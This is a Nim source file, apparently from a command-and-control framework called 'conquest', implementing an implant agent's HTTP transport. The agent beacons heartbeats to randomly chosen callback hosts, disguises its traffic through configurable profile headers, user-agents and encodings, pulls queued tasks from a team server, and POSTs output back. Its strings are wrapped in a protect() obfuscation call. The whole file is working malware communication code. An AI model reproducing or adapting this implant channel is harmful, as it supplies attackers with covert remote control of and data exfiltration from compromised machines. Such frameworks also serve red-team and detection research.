Files
conquest/src/agent/core/http.nim
2025-10-31 16:59:10 +01:00

117 lines
4.7 KiB
Nim

import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../utils/io
import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of protect("parameter"):
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("uri"):
discard
of protect("body"):
discard
else:
discard
# Define additional request parameters
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&"
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
ctx.registered = false
# Return if no tasks are queued
let responseBody = waitFor response.body
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
let
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of protect("none"):
return encResponse
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
print "[-] ", err.msg
finally:
client.close()
return ""
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data)
try:
# Send post request to team server
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err:
print "[-] ", err.msg
return false
finally:
client.close()
return true